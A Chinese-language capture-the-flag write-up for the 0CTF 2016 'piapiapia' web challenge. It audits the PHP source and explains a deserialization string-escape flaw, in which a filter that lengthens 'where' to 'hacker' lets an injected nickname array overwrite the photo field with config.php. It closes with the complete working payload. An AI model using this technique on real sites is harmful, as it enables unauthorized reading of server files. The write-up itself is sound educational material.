It’s just a test
[0CTF 2016]piapiapia
一个简单的登录页面。尝试注入但是没有成功。直接开扫,注意扫描速度不能太快了。(buuoj是这样的)拿到网站源代码。
代码审计开始。
profile.php中存在两个危险函数,反序列化以及输出字符串。
1 | $profile = unserialize($profile); |
我们接着看profile与username变量是如何产生的。
1 | $username = $_SESSION['username']; |
因为每个php都都包含了class.php。再看class.php的代码。找到show_profile
1 | public function show_profile($username) { |
show_profile在user类中。而user类继承了mysql类,这里先调用了父类的filter函数。
1 | public function filter($string) { |
功能是替换字符串中的单引号和反斜杠为下划线 ,并且替换多个字符串为hacker。implode函数是表示把数组拼接起来,拼接符是 “|”:拼接后的结果为/'|\\/
然后是select函数
1 | public function select($table, $where, $ret = '*') { |
数据是从表里取出,接下来就是找插入数据的地方。
还是这个文件,有个更新操作。
1 | public function update($table, $key, $value, $where) { |
在这个文件中找到了使用updata的地方
1 | public function update_profile($username, $new_profile) { |
再找一下哪里使用了update_profile
在updata.php中有使用这个,并且在这里进行了赋值。
1 | if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { |
这样的话,调用链就很清晰了。
1 | profile.php的file_get_contents =》 show_profile() =》 class.php里的select() =》 数据库 =》 class.php里的update() =》 update_profile() =》 update.php里调用传参。 |
photo在传入后进行了md5加密,所以这里攻击就不现实了
利用其它参数,以及字符串增多来逃逸一个photo就好了。利用nickname来实现攻击。
因为**strlen($_POST[‘nickname’]) > 10)**不能成立,我们直接传一个数组。(strlen(Array()) = null)
要逃逸的字符串
1 | ";s:5:"photo";s:10:"config.php";} |
但是我们传入的nickname是一个数组,所以闭合方式得变化一下。我们可以看这个例子
1 |
|
我们的值会替换掉a,根据数组序列化的结果,我们要闭合的是”;}
1 | ";}s:5:"photo";s:10:"config.php";} |
一共34个字符
最终payload
1 | nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} |
可以看一下反序列结果
1 |
|
解码一下即可